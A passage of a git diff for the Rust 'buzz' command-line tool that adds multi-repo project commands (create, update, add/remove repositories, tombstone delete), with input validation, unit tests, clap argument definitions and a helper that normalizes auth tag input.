publish. + if added == 0 { + return Err(CliError::Conflict(format!( + "all requested repositories are already members of project {slug:?}" + ))); + } + + let builder = rebuild_project(&head.content, tags, next_ts)?; + submit_project(client, builder).await +} + +/// `buzz projects remove-repo` +pub async fn cmd_remove_repo( + client: &BuzzClient, + slug: &str, + repos: &[String], +) -> Result<(), CliError> { + validate_project_slug(slug)?; + let caller_pubkey = client.keys().public_key().to_hex(); + + // ── Local validation before any .await ──────────────────────────────── + let to_remove: Vec = repos + .iter() + .map(|r| expand_repo_coord(r, &caller_pubkey)) + .collect::, _>>()?; + + // ── Network: fetch head ─────────────────────────────────────────────── + let head = fetch_own_project(client, slug) + .await? + .ok_or_else(|| CliError::NotFound(format!("project {slug:?} not found")))?; + let next_ts = next_timestamp(&head)?; + + // Verify all requested repos exist in the project. + let existing_coords: std::collections::HashSet = head + .tags + .iter() + .filter(|t| tag_name(t) == Some("a")) + .filter_map(|t| tag_value(t).map(String::from)) + .collect(); + for m in &to_remove { + if !existing_coords.contains(m.coord.as_str()) { + return Err(CliError::NotFound(format!( + "project {slug:?} does not contain member {:?}", + m.coord + ))); + } + } + + let remove_coords: std::collections::HashSet<&str> = + to_remove.iter().map(|m| m.coord.as_str()).collect(); + + // Keep all tags except auth and the removed members. + let tags: Vec = head + .tags + .iter() + .filter(|t| { + if tag_name(t) == Some("auth") { + return false; + } + if tag_name(t) == Some("a") { + if let Some(coord) = tag_value(t) { + return !remove_coords.contains(coord); + } + } + true + }) + .cloned() + .collect(); + + // Single rebuild validates the full envelope and strips any remaining auth. + let builder = rebuild_project(&head.content, tags, next_ts)?; + submit_project(client, builder).await +} + +/// `buzz projects update` +/// +/// Requires at least one setter or clearer; a no-op call is a usage error. +#[allow(clippy::too_many_arguments)] +pub async fn cmd_update( + client: &BuzzClient, + slug: &str, + name: Option<&str>, + clear_name: bool, + description: Option<&str>, + clear_description: bool, + channel: Option<&str>, + clear_channel: bool, + visibility: Option<&str>, + clear_visibility: bool, +) -> Result<(), CliError> { + // Guard: at least one mutation required. The clap `ArgGroup` with + // `required(true).multiple(true)` enforces this at parse time; this + // runtime check is a defense-in-depth safety net for callers that invoke + // `cmd_update` directly (e.g. tests and future programmatic callers). + let has_mutation = name.is_some() + || clear_name + || description.is_some() + || clear_description + || channel.is_some() + || clear_channel + || visibility.is_some() + || clear_visibility; + if !has_mutation { + return Err(CliError::Usage( + "buzz projects update requires at least one of: \ + --name, --clear-name, --description, --clear-description, \ + --channel, --clear-channel, --visibility, --clear-visibility" + .into(), + )); + } + + validate_project_slug(slug)?; + if let Some(ch) = channel { + crate::validate::validate_uuid(ch)?; + } + if let Some(vis) = visibility { + validate_visibility(vis)?; + } + + let head = fetch_own_project(client, slug) + .await? + .ok_or_else(|| CliError::NotFound(format!("project {slug:?} not found")))?; + let next_ts = next_timestamp(&head)?; + + // Build the new tag set. For each singleton metadata field: + // - setter present: replace value (strip old, append new) + // - clear flag set: drop the tag + // - neither: keep existing + // Non-singleton / non-metadata tags (d, a, unknown) are preserved as-is. + let singleton_fields = ["name", "description", "buzz-channel", "buzz-visibility"]; + let mut tags: Vec = head + .tags + .iter() + .filter(|t| { + if tag_name(t) == Some("auth") { + return false; + } + // Drop singletons we're replacing or clearing. + if let Some(field) = tag_name(t) { + if singleton_fields.contains(&field) { + let clear = match field { + "name" => clear_name || name.is_some(), + "description" => clear_description || description.is_some(), + "buzz-channel" => clear_channel || channel.is_some(), + "buzz-visibility" => clear_visibility || visibility.is_some(), + _ => false, + }; + return !clear; + } + } + true + }) + .cloned() + .collect(); + + // Append new singleton values. + if let Some(n) = name { + tags.push(make_tag(&["name", n])?); + } + if let Some(d) = description { + tags.push(make_tag(&["description", d])?); + } + if let Some(ch) = channel { + tags.push(make_tag(&["buzz-channel", ch])?); + } + if let Some(vis) = visibility { + tags.push(make_tag(&["buzz-visibility", vis])?); + } + + let builder = build_project_with_tags(&head.content, tags) + .map_err(|e| CliError::Other(format!("envelope validation failed: {e}")))? + .custom_created_at(next_ts); + submit_project(client, builder).await +} + +/// `buzz projects delete` +/// +/// Head-based and verified: +/// 1. Fetch own live head — `NotFound` if absent. +/// 2. Build tombstone at `head.created_at + 1`. +/// 3. Submit. +/// 4. Re-query the coordinate; if a newer head survived → `Conflict`. +pub async fn cmd_delete(client: &BuzzClient, slug: &str) -> Result<(), CliError> { + validate_project_slug(slug)?; + + let head = fetch_own_project(client, slug) + .await? + .ok_or_else(|| CliError::NotFound(format!("project {slug:?} not found")))?; + let next_ts = next_timestamp(&head)?; + + let pubkey_hex = client.keys().public_key().to_hex(); + let tombstone = build_delete_addressable(KIND_PROJECT, &pubkey_hex, slug) + .map_err(|e| CliError::Other(format!("failed to build delete event: {e}")))? + .custom_created_at(next_ts); + + let event = client.sign_event(tombstone)?; + let raw = client.submit_event(event).await?; + parse_write_response(&raw, "delete event was dominated; a newer head exists")?; + + // Post-submit verification: re-query to confirm the head is gone. + if let Some(survivor) = fetch_own_project(client, slug).await? { + // A newer head survived the tombstone. + return Err(CliError::Conflict(format!( + "project {slug:?} still exists (head at {}); a concurrent write raced the delete", + survivor.created_at.as_secs() + ))); + } + + println!("{}", serde_json::json!({ "deleted": slug, "status": "ok" })); + Ok(()) +} + +// ── Validation helpers ──────────────────────────────────────────────────────── + +/// Validate a project slug: non-empty, ≤1024 bytes, verbatim. +/// Does NOT impose the Buzz repo-ID grammar — project slugs are more permissive. +fn validate_project_slug(slug: &str) -> Result<(), CliError> { + if slug.is_empty() { + return Err(CliError::Usage("project slug must not be empty".into())); + } + if slug.len() > PROJECT_D_MAX_LEN { + return Err(CliError::Usage(format!( + "project slug must not exceed {PROJECT_D_MAX_LEN} bytes (got {})", + slug.len() + ))); + } + Ok(()) +} + +/// Validate a `buzz-visibility` value at the writer level. +fn validate_visibility(vis: &str) -> Result<(), CliError> { + if vis != "listed" && vis != "unlisted" { + return Err(CliError::Usage(format!( + "visibility must be 'listed' or 'unlisted' (got {vis:?})" + ))); + } + Ok(()) +} + +// ── Dispatch ────────────────────────────────────────────────────────────────── + +pub async fn dispatch(cmd: crate::ProjectsCmd, client: &BuzzClient) -> Result<(), CliError> { + use crate::ProjectsCmd; + match cmd { + ProjectsCmd::Create { + slug, + repo, + name, + description, + channel, + visibility, + } => { + cmd_create( + client, + &slug, + &repo, + name.as_deref(), + description.as_deref(), + channel.as_deref(), + visibility.map(|v| v.as_str()), + ) + .await + } + ProjectsCmd::Get { slug, owner } => cmd_get(client, &slug, owner.as_deref()).await, + ProjectsCmd::List { owner, limit } => cmd_list(client, owner.as_deref(), limit).await, + ProjectsCmd::AddRepo { slug, repo } => cmd_add_repo(client, &slug, &repo).await, + ProjectsCmd::RemoveRepo { slug, repo } => cmd_remove_repo(client, &slug, &repo).await, + ProjectsCmd::Update { + slug, + name, + clear_name, + description, + clear_description, + channel, + clear_channel, + visibility, + clear_visibility, + } => { + cmd_update( + client, + &slug, + name.as_deref(), + clear_name, + description.as_deref(), + clear_description, + channel.as_deref(), + clear_channel, + visibility.map(|v| v.as_str()), + clear_visibility, + ) + .await + } + ProjectsCmd::Delete { slug } => cmd_delete(client, &slug).await, + } +} + +// ── Tests ───────────────────────────────────────────────────────────────────── + +#[cfg(test)] +mod tests { + use buzz_sdk::{validate_project_envelope, PROJECT_MEMBER_CAP}; + use nostr::Tag; + + use super::*; + + // ── Coordinate expansion ────────────────────────────────────────────────── + + const OWNER_HEX: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + const OWNER_B_HEX: &str = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"; + + #[test] + fn expand_repo_coord_bare_expands_with_caller_pubkey() { + let coord = expand_repo_coord("my-repo", OWNER_HEX).unwrap(); + assert_eq!(coord.coord, format!("30617:{OWNER_HEX}:my-repo")); + } + + #[test] + fn expand_repo_coord_full_passes_through() { + let full = format!("30617:{OWNER_HEX}:some-repo"); + let coord = expand_repo_coord(&full, OWNER_B_HEX).unwrap(); + // Owner from the full coord, not the caller. + assert_eq!(coord.coord, full); + } + + #[test] + fn expand_repo_coord_full_cross_owner() { + let full = format!("30617:{OWNER_B_HEX}:infra"); + let coord = expand_repo_coord(&full, OWNER_HEX).unwrap(); + assert_eq!(coord.coord, full); + } + + #[test] + fn expand_repo_coord_rejects_uppercase_owner() { + let upper = "30617:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:buzz"; + assert!(expand_repo_coord(upper, OWNER_HEX).is_err()); + } + + #[test] + fn expand_repo_coord_rejects_coordinate_shaped_bare_value() { + // A value with a colon is never a bare id. + let not_bare = "30617:something"; + // parse_full will fail because it's not a valid full coordinate either. + assert!(expand_repo_coord(not_bare, OWNER_HEX).is_err()); + } + + // ── validate_project_slug ───────────────────────────────────────────────── + + #[test] + fn validate_project_slug_accepts_normal() { + assert!(validate_project_slug("my-project").is_ok()); + assert!(validate_project_slug("platform:v2").is_ok()); // colons allowed — more permissive than repo-id + } + + #[test] + fn validate_project_slug_rejects_empty() { + assert!(validate_project_slug("").is_err()); + } + + #[test] + fn validate_project_slug_rejects_over_1024() { + let long = "a".repeat(1025); + assert!(validate_project_slug(&long).is_err()); + } + + #[test] + fn validate_project_slug_accepts_1024() { + let at_limit = "a".repeat(1024); + assert!(validate_project_slug(&at_limit).is_ok()); + } + + // ── validate_visibility ─────────────────────────────────────────────────── + + #[test] + fn validate_visibility_accepts_listed_and_unlisted() { + assert!(validate_visibility("listed").is_ok()); + assert!(validate_visibility("unlisted").is_ok()); + } + + #[test] + fn validate_visibility_rejects_unknown_token() { + assert!(validate_visibility("chartreuse").is_err()); + assert!(validate_visibility("").is_err()); + } + + // ── is_bare_repo_id ─────────────────────────────────────────────────────── + + #[test] + fn bare_repo_id_accepts_valid() { + assert!(is_bare_repo_id("buzz")); + assert!(is_bare_repo_id("my-repo_1.0")); + } + + #[test] + fn bare_repo_id_rejects_colon() { + assert!(!is_bare_repo_id("30617:something")); + assert!(!is_bare_repo_id("has:colon")); + } + + #[test] + fn bare_repo_id_rejects_empty() { + assert!(!is_bare_repo_id("")); + } + + #[test] + fn bare_repo_id_rejects_over_64() { + let long = "a".repeat(65); + assert!(!is_bare_repo_id(&long)); + } + + // ── tag helpers ─────────────────────────────────────────────────────────── + + fn make_test_tag(parts: &[&str]) -> Tag { + Tag::parse(parts.iter().copied()).unwrap() + } + + // ── rebuild_project: hinted / unknown tag preservation ─────────────────── + + #[test] + fn rebuild_project_preserves_hinted_member_tags() { + // A member 'a' tag with a relay hint must survive RMW untouched. + let coord = format!("30617:{OWNER_HEX}:buzz"); + let hint = "wss://relay.example.com"; + let tags = vec![ + make_test_tag(&["d", "platform"]), + Tag::parse(["a", &coord, hint]).unwrap(), + ]; + let ts = Timestamp::from(1_700_000_001u64); + let b = rebuild_project("", tags, ts).unwrap(); + let ev = b.sign_with_keys(&nostr::Keys::generate()).expect("sign"); + let a_tag = ev + .tags + .iter() + .find(|t| tag_name(t) == Some("a")) + .expect("a tag present"); + assert_eq!( + a_tag.as_slice(), + &["a".to_string(), coord, hint.to_string()], + "relay hint must survive rebuild" + ); + } + + #[test] + fn rebuild_project_preserves_unknown_tags() { + let tags = vec![ + make_test_tag(&["d", "platform"]), + make_test_tag(&["future-metadata", "value"]), + ]; + let ts = Timestamp::from(1_700_000_001u64); + let b = rebuild_project("", tags, ts).unwrap(); + let ev = b.sign_with_keys(&nostr::Keys::generate()).expect("sign"); + assert!(ev + .tags + .iter() + .any(|t| tag_name(t) == Some("future-metadata"))); + } + + #[test] + fn rebuild_project_strips_auth_tag() { + let tags = vec![ + make_test_tag(&["d", "platform"]), + make_test_tag(&["auth", &"a".repeat(64), "kind=30617", &"b".repeat(128)]), + ]; + let ts = Timestamp::from(1_700_000_001u64); + let b = rebuild_project("", tags, ts).unwrap(); + let ev = b.sign_with_keys(&nostr::Keys::generate()).expect("sign"); + assert!( + !ev.tags.iter().any(|t| tag_name(t) == Some("auth")), + "auth tag must be stripped" + ); + } + + #[test] + fn rebuild_project_rejects_over_cap_foreign_head() { + // A foreign head with 65 members must fail Layer A on republish. + let mut tags = vec![make_test_tag(&["d", "wide"])]; + for i in 0..=64u32 { + let coord = format!("30617:{OWNER_HEX}:repo-{i:02}"); + tags.push(make_test_tag(&["a", &coord])); + } + assert_eq!( + tags.iter().filter(|t| tag_name(t) == Some("a")).count(), + 65, + "65 a-tags" + ); + let ts = Timestamp::from(1_700_000_001u64); + // rebuild_project strips auth, but 65 a-tags still exceeds cap. + assert!( + rebuild_project("", tags, ts).is_err(), + "over-cap foreign head must fail rebuild" + ); + } + + #[test] + fn rebuild_project_at_exact_cap_succeeds() { + let mut tags = vec![make_test_tag(&["d", "wide"])]; + for i in 0..PROJECT_MEMBER_CAP { + let coord = format!("30617:{OWNER_HEX}:repo-{i:02}"); + tags.push(make_test_tag(&["a", &coord])); + } + let ts = Timestamp::from(1_700_000_001u64); + assert!(rebuild_project("", tags, ts).is_ok()); + } + + // ── clear-flag semantics ────────────────────────────────────────────────── + + /// Build a minimal head Event for testing update semantics without the relay. + fn make_head_tags(extra: &[Tag]) -> Vec { + let mut tags = vec![make_test_tag(&["d", "platform"])]; + tags.extend_from_slice(extra); + tags + } + + #[allow(clippy::too_many_arguments)] + fn apply_update_tags( + head_tags: Vec, + name: Option<&str>, + clear_name: bool, + description: Option<&str>, + clear_description: bool, + channel: Option<&str>, + clear_channel: bool, + visibility: Option<&str>, + clear_visibility: bool, + ) -> Vec { + // Replicate the tag-mutation logic from cmd_update (sans relay I/O). + let singleton_fields = ["name", "description", "buzz-channel", "buzz-visibility"]; + let mut tags: Vec = head_tags + .iter() + .filter(|t| { + if tag_name(t) == Some("auth") { + return false; + } + if let Some(field) = tag_name(t) { + if singleton_fields.contains(&field) { + let clear = match field { + "name" => clear_name || name.is_some(), + "description" => clear_description || description.is_some(), + "buzz-channel" => clear_channel || channel.is_some(), + "buzz-visibility" => clear_visibility || visibility.is_some(), + _ => false, + }; + return !clear; + } + } + true + }) + .cloned() + .collect(); + if let Some(n) = name { + tags.push(make_test_tag(&["name", n])); + } + if let Some(d) = description { + tags.push(make_test_tag(&["description", d])); + } + if let Some(ch) = channel { + tags.push(make_test_tag(&["buzz-channel", ch])); + } + if let Some(vis) = visibility { + tags.push(make_test_tag(&["buzz-visibility", vis])); + } + tags + } + + #[test] + fn update_omission_preserves_existing_field() { + let head = make_head_tags(&[make_test_tag(&["name", "Old Name"])]); + let result = apply_update_tags(head, None, false, None, false, None, false, None, false); + assert!(result.iter().any(|t| tag_value(t) == Some("Old Name"))); + } + + #[test] + fn update_setter_replaces_existing_field() { + let head = make_head_tags(&[make_test_tag(&["name", "Old Name"])]); + let result = apply_update_tags( + head, + Some("New Name"), + false, + None, + false, + None, + false, + None, + false, + ); + assert!(result.iter().any(|t| tag_value(t) == Some("New Name"))); + assert!(!result.iter().any(|t| tag_value(t) == Some("Old Name"))); + } + + #[test] + fn update_clear_drops_existing_field() { + let head = make_head_tags(&[make_test_tag(&["name", "Old Name"])]); + let result = apply_update_tags(head, None, true, None, false, None, false, None, false); + assert!(!result.iter().any(|t| tag_name(t) == Some("name"))); + } + + #[test] + fn update_clear_visibility_drops_tag() { + let head = make_head_tags(&[make_test_tag(&["buzz-visibility", "unlisted"])]); + let result = apply_update_tags(head, None, false, None, false, None, false, None, true); + assert!(!result + .iter() + .any(|t| tag_name(t) == Some("buzz-visibility"))); + } + + #[test] + fn update_exactly_one_singleton_after_replace() { + // Start with a buzz-channel; replace with a new one; must have exactly one. + let uuid1 = "3580ca9b-47b4-4af9-b22a-1068778f26c6"; + let uuid2 = "00000000-0000-0000-0000-000000000000"; + let head = make_head_tags(&[make_test_tag(&["buzz-channel", uuid1])]); + let result = apply_update_tags( + head, + None, + false, + None, + false, + Some(uuid2), + false, + None, + false, + ); + let channels: Vec<_> = result + .iter() + .filter(|t| tag_name(t) == Some("buzz-channel")) + .collect(); + assert_eq!(channels.len(), 1); + assert_eq!(tag_value(channels[0]), Some(uuid2)); + } + + // ── duplicate-member rejection on republish ─────────────────────────────── + + #[test] + fn duplicate_member_in_foreign_head_fails_rebuild() { + let coord = format!("30617:{OWNER_HEX}:buzz"); + let tags = vec![ + make_test_tag(&["d", "platform"]), + make_test_tag(&["a", &coord]), + make_test_tag(&["a", &coord]), // duplicate + ]; + let ts = Timestamp::from(1_700_000_001u64); + assert!(rebuild_project("", tags, ts).is_err()); + } + + // ── validate_project_envelope integration ──────────────────────────────── + + #[test] + fn validate_project_envelope_accepts_hinted_member() { + let coord = format!("30617:{OWNER_HEX}:buzz"); + let tags = vec![ + make_test_tag(&["d", "platform"]), + Tag::parse(["a", &coord, "wss://relay.example.com"]).unwrap(), + ]; + assert!(validate_project_envelope(&tags, "").is_ok()); + } + + #[test] + fn validate_project_envelope_rejects_four_element_member() { + let coord = format!("30617:{OWNER_HEX}:buzz"); + let tags = vec![ + make_test_tag(&["d", "platform"]), + Tag::parse(["a", &coord, "wss://relay.example.com", "extra"]).unwrap(), + ]; + assert!(validate_project_envelope(&tags, "").is_err()); + } + + // ── next_timestamp ordering ─────────────────────────────────────────────── + + /// `next_timestamp` must return `head.created_at + 1` regardless of the wall + /// clock. NIP-MP Deletion rule: a tombstone older than the live head does + /// NOT remove it, so we must advance strictly off the observed head — never + /// use wall-clock time, which could be behind a head that was bumped + /// multiple times in the same second. + #[test] + fn next_timestamp_returns_head_plus_one_when_head_is_ahead_of_wall_clock() { + // Build a minimal signed event with a created_at far in the future. + let keys = nostr::Keys::generate(); + let far_future_ts = Timestamp::from(9_999_999_999u64); // year 2286 + let tags = vec![ + make_test_tag(&["d", "platform"]), + make_test_tag(&["a", &format!("30617:{OWNER_HEX}:buzz")]), + ]; + let builder = rebuild_project("", tags, far_future_ts).expect("valid head envelope"); + let head = builder.sign_with_keys(&keys).expect("sign"); + // Verify the event actually has our future timestamp. + assert_eq!(head.created_at, far_future_ts); + + // next_timestamp must return far_future + 1, not now(). + let next = next_timestamp(&head).expect("no overflow"); + assert_eq!( + next.as_secs(), + far_future_ts.as_secs() + 1, + "tombstone must be strictly after head, even when head is far in the future" + ); + } + + // ── empty update guard ──────────────────────────────────────────────────── + + /// `cmd_update` with no setters or clearers must return `CliError::Usage` + /// before making any network call. The guard is synchronous (before the + /// first `.await`) so we can drive it with a dummy client whose address + /// would reject any real connection attempt. + #[tokio::test] + async fn empty_update_returns_usage_error_before_any_network_call() { + let keys = nostr::Keys::generate(); + // Port 9 is the discard protocol — any real connect will be refused + // immediately, but the guard fires before the first await so this + // never reaches the network. + let client = crate::client::BuzzClient::new("http://127.0.0.1:9".into(), keys, None, None) + .expect("client construction"); + + let err = cmd_update( + &client, "my-slug", None, false, // name / clear_name + None, false, // description / clear_description + None, false, // channel / clear_channel + None, false, // visibility / clear_visibility + ) + .await + .expect_err("empty update must fail"); + + assert!( + matches!(err, CliError::Usage(_)), + "expected CliError::Usage, got {err:?}" + ); + } + + // ── no-network malformed-input tests ───────────────────────────────────── + // + // All three cases use port 9 (discard protocol): any real connection is + // refused immediately, but local validation fires before the first .await + // so the network is never touched. + + fn discard_client() -> crate::client::BuzzClient { + let keys = nostr::Keys::generate(); + crate::client::BuzzClient::new("http://127.0.0.1:9".into(), keys, None, None) + .expect("client construction") + } + + /// Invalid visibility token must return Usage before touching the relay. + #[tokio::test] + async fn create_invalid_visibility_returns_usage_before_any_network_call() { + let client = discard_client(); + let err = cmd_create( + &client, + "my-slug", + &["buzz".to_string()], + None, + None, + None, + Some("chartreuse"), + ) + .await + .expect_err("invalid visibility must fail"); + assert!( + matches!(err, CliError::Usage(_)), + "expected CliError::Usage for invalid visibility, got {err:?}" + ); + } + + /// A name longer than 256 bytes must return Usage before touching the relay. + #[tokio::test] + async fn create_overlong_name_returns_usage_before_any_network_call() { + let client = discard_client(); + let long_name = "a".repeat(257); + let err = cmd_create( + &client, + "my-slug", + &["buzz".to_string()], + Some(&long_name), + None, + None, + None, + ) + .await + .expect_err("overlong name must fail"); + assert!( + matches!(err, CliError::Usage(_)), + "expected CliError::Usage for overlong name, got {err:?}" + ); + } + + /// A malformed --repo coordinate must return Usage before touching the relay. + #[tokio::test] + async fn create_malformed_repo_returns_usage_before_any_network_call() { + let client = discard_client(); + let err = cmd_create( + &client, + "my-slug", + &["nope:bad".to_string()], + None, + None, + None, + None, + ) + .await + .expect_err("malformed repo must fail"); + assert!( + matches!(err, CliError::Usage(_)), + "expected CliError::Usage for malformed repo, got {err:?}" + ); + } + + /// A malformed --repo coordinate on add-repo must return Usage before touching the relay. + #[tokio::test] + async fn add_repo_malformed_coord_returns_usage_before_any_network_call() { + let client = discard_client(); + let err = cmd_add_repo(&client, "my-slug", &["nope:bad".to_string()]) + .await + .expect_err("malformed repo must fail"); + assert!( + matches!(err, CliError::Usage(_)), + "expected CliError::Usage for malformed repo on add-repo, got {err:?}" + ); + } + + /// A malformed --repo coordinate on remove-repo must return Usage before touching the relay. + #[tokio::test] + async fn remove_repo_malformed_coord_returns_usage_before_any_network_call() { + let client = discard_client(); + let err = cmd_remove_repo(&client, "my-slug", &["nope:bad".to_string()]) + .await + .expect_err("malformed repo must fail"); + assert!( + matches!(err, CliError::Usage(_)), + "expected CliError::Usage for malformed repo on remove-repo, got {err:?}" + ); + } + + // ── duplicate --repo within one invocation ──────────────────────────────── + + /// Supplying the same coordinate twice in one create call must return Usage + /// (names the duplicate) before any network call. + #[tokio::test] + async fn create_duplicate_repo_returns_usage_before_any_network_call() { + let client = discard_client(); + let coord = format!("30617:{OWNER_HEX}:buzz"); + let err = cmd_create( + &client, + "my-slug", + &[coord.clone(), coord.clone()], + None, + None, + None, + None, + ) + .await + .expect_err("duplicate repo must fail"); + assert!( + matches!(err, CliError::Usage(_)), + "expected CliError::Usage for duplicate repo, got {err:?}" + ); + // Error message must name the duplicate coordinate. + assert!( + format!("{err}").contains("buzz"), + "Usage message must name the duplicate coordinate, got {err:?}" + ); + } + + /// Supplying the same coordinate twice in one add-repo call must return Usage + /// (names the duplicate) before any network call. + #[tokio::test] + async fn add_repo_duplicate_coord_returns_usage_before_any_network_call() { + let client = discard_client(); + let coord = format!("30617:{OWNER_HEX}:buzz"); + let err = cmd_add_repo(&client, "my-slug", &[coord.clone(), coord.clone()]) + .await + .expect_err("duplicate repo must fail"); + assert!( + matches!(err, CliError::Usage(_)), + "expected CliError::Usage for duplicate repo on add-repo, got {err:?}" + ); + } + + // ── create collision guard ──────────────────────────────────────────────── + + // The create-collision Conflict path is pinned by the live transcript + // (step: duplicate create → Conflict, exit=5). No relay mock is available + // for a unit test; the no-network tests above cover all pre-await paths. + + // ── add-repo no-op guard ────────────────────────────────────────────────── + + // The add-repo no-op Conflict path is pinned by the live transcript + // (step 7: buzz already present → exit=5). No relay mock is available + // for a unit test; the async no-network tests above cover all pre-await paths. +} diff --git a/crates/buzz-cli/src/commands/repos.rs b/crates/buzz-cli/src/commands/repos.rs index 59a290a927..dc4fb5f834 100644 --- a/crates/buzz-cli/src/commands/repos.rs +++ b/crates/buzz-cli/src/commands/repos.rs @@ -4,7 +4,8 @@ use buzz_core::{ }; use nostr::{Event, EventBuilder, Tag, Timestamp}; -use crate::client::{normalize_write_response, BuzzClient}; +use crate::client::BuzzClient; +use crate::commands::parse_write_response; use crate::error::CliError; use crate::validate::validate_repo_id; @@ -186,25 +187,10 @@ fn protection_rules_json(event: &Event) -> Result { } fn validate_write_response(raw: &str) -> Result { - let response: serde_json::Value = serde_json::from_str(raw) - .map_err(|error| CliError::Other(format!("relay response is not JSON: {error} ({raw})")))?; - let accepted = response - .get("accepted") - .and_then(serde_json::Value::as_bool) - .unwrap_or(false); - let message = response - .get("message") - .and_then(serde_json::Value::as_str) - .unwrap_or(""); - if !accepted { - return Err(CliError::Other(format!("relay rejected event: {message}"))); - } - if message == "duplicate" || message.starts_with("duplicate:") { - return Err(CliError::Conflict( - "repository changed concurrently; fetch the latest rules and retry".into(), - )); - } - Ok(normalize_write_response(raw)) + parse_write_response( + raw, + "repository changed concurrently; fetch the latest rules and retry", + ) } async fn submit_repo_update(client: &BuzzClient, builder: EventBuilder) -> Result<(), CliError> { @@ -275,8 +261,12 @@ pub async fn cmd_create_repo( channel, )?; let event = client.sign_event(builder)?; + let owner = event.pubkey.to_hex(); let resp = client.submit_event(event).await?; - println!("{resp}"); + // `link` renders as a rich preview card in Buzz Desktop when included in + // a chat message — agents announce repos with it (see base_prompt.md). + let link = crate::links::repo_link(&owner, repo_id); + crate::client::print_create_response(&resp, "link", &link); Ok(()) } diff --git a/crates/buzz-cli/src/lib.rs b/crates/buzz-cli/src/lib.rs index 64361d90bb..7a4b6bbfe2 100644 --- a/crates/buzz-cli/src/lib.rs +++ b/crates/buzz-cli/src/lib.rs @@ -2,6 +2,7 @@ pub mod agent_management; mod client; mod commands; mod error; +mod links; mod validate; use clap::{Parser, Subcommand}; @@ -212,6 +213,9 @@ enum Cmd { /// Announce and discover git repositories (NIP-34) #[command(subcommand)] Repos(ReposCmd), + /// Create and manage multi-repo projects (NIP-MP) + #[command(subcommand)] + Projects(ProjectsCmd), /// Send, get, list, and set status on git patches (NIP-34) #[command(subcommand)] Patches(PatchesCmd), @@ -1314,6 +1318,122 @@ pub enum RepoPushRole { Member, } +/// Visibility of a multi-repo project listing. +#[derive(Clone, Copy, Debug, clap::ValueEnum)] +pub enum ProjectVisibility { + /// Project appears in public listings (default). + Listed, + /// Project is hidden from public listings. + Unlisted, +} + +impl ProjectVisibility { + pub fn as_str(self) -> &'static str { + match self { + ProjectVisibility::Listed => "listed", + ProjectVisibility::Unlisted => "unlisted", + } + } +} + +#[derive(Subcommand)] +pub enum ProjectsCmd { + /// Create a new multi-repo project (NIP-MP kind:30621) + /// + /// Requires at least one --repo. Fails with Conflict if the project already exists. + Create { + /// Project identifier (slug), up to 1024 bytes + slug: String, + /// Member repository coordinate: bare Buzz repo id (e.g. `buzz`) or full + /// `30617::` for cross-owner or colon-bearing repo ids. + /// At least one --repo is required. + #[arg(long = "repo", required = true)] + repo: Vec, + /// Display name (≤256 bytes) + #[arg(long)] + name: Option, + /// Description (≤2048 bytes) + #[arg(long)] + description: Option, + /// Associated Buzz channel UUID + #[arg(long)] + channel: Option, + /// Visibility: `listed` (default) or `unlisted` + #[arg(long)] + visibility: Option, + }, + /// Get a project by slug + Get { + /// Project slug + slug: String, + /// Owner pubkey (64-char hex). Defaults to the current identity. + #[arg(long)] + owner: Option, + }, + /// List projects + List { + /// Owner pubkey (64-char hex). Defaults to the current identity. + #[arg(long)] + owner: Option, + /// Maximum number of results + #[arg(long)] + limit: Option, + }, + /// Add one or more member repositories to a project + #[command(name = "add-repo")] + AddRepo { + /// Project slug + slug: String, + /// Member repository coordinate (bare id or full `30617::`) + #[arg(long = "repo", required = true)] + repo: Vec, + }, + /// Remove one or more member repositories from a project + #[command(name = "remove-repo")] + RemoveRepo { + /// Project slug + slug: String, + /// Member repository coordinate to remove (bare id or full `30617::`) + #[arg(long = "repo", required = true)] + repo: Vec, + }, + /// Update project metadata (at least one setter or clearer required) + #[command(group = clap::ArgGroup::new("mutation").required(true).multiple(true))] + Update { + /// Project slug + slug: String, + /// Set the display name + #[arg(long, group = "mutation")] + name: Option, + /// Remove the display name + #[arg(long, group = "mutation", conflicts_with = "name")] + clear_name: bool, + /// Set the description + #[arg(long, group = "mutation")] + description: Option, + /// Remove the description + #[arg(long, group = "mutation", conflicts_with = "description")] + clear_description: bool, + /// Set the associated Buzz channel UUID + #[arg(long, group = "mutation")] + channel: Option, + /// Remove the associated channel + #[arg(long, group = "mutation", conflicts_with = "channel")] + clear_channel: bool, + /// Set visibility: `listed` or `unlisted` + #[arg(long, group = "mutation")] + visibility: Option, + /// Remove the visibility tag (absence defaults to `listed`) + #[arg(long, group = "mutation", conflicts_with = "visibility")] + clear_visibility: bool, + }, + /// Delete a project (head-based tombstone; verified after submit) + Delete { + /// Project slug + slug: String, + }, +} + #[derive(Subcommand)] pub enum PatchesCmd { /// Send a git patch (NIP-34 kind:1617) @@ -1889,6 +2009,41 @@ pub enum ModerationCmd { }, } +/// Normalize hand-authored `BUZZ_AUTH_TAG` input to strict JSON. +/// +/// `.env` files and shell exports sometimes carry the tag in the unquoted +/// shorthand `[auth,,,]` (quotes dropped by hand). +/// When the input is not valid JSON but is bracket-delimited, rewrite it as +/// a JSON array of the comma-separated fields (an empty field `,,` becomes +/// `""`, matching the canonical form `["auth","hex","","hex"]`). +/// +/// This is presentation-layer leniency at the configuration edge only: the +/// output is always fed through the SDK's strict `parse_auth_tag` / +/// `verify_auth_tag`, which enforce structure, hex, the conditions grammar, +/// and the BIP-340 signature. Inputs that are already valid JSON — or not +/// recognizable as the shorthand — are returned unchanged so the strict +/// parser reports the error on the original bytes. +fn normalize_auth_tag_input(input: &str) -> String { + let trimmed = input.trim(); + if serde_json::from_str::(trimmed).is_ok() { + return trimmed.to_owned(); + } + if trimmed.starts_with('[') && trimmed.ends_with(']') { + let fields: Vec<&str> = trimmed[1..trimmed.len() - 1] + .split(',') + .map(str::trim) + .collect(); + // Only a plausible 4-field auth tag is rewritten; anything else is + // passed through untouched for the strict parser to reject with an + // error that references the caller's original input. + if fields.len() == 4 && !fields.iter().any(|f| f.contains('"')) { + // serde_json cannot fail serializing a Vec<&str>. + return serde_json::to_string(&fields).expect("string array serializes"); + } + } + trimmed.to_owned() +} + async fn run(cli: Cli) -> Result<(), CliError> { let relay_url = client::normalize_relay_url(&cli.relay); @@ -1909,17 +2064,28 @@ async fn run(cli: Cli) -> 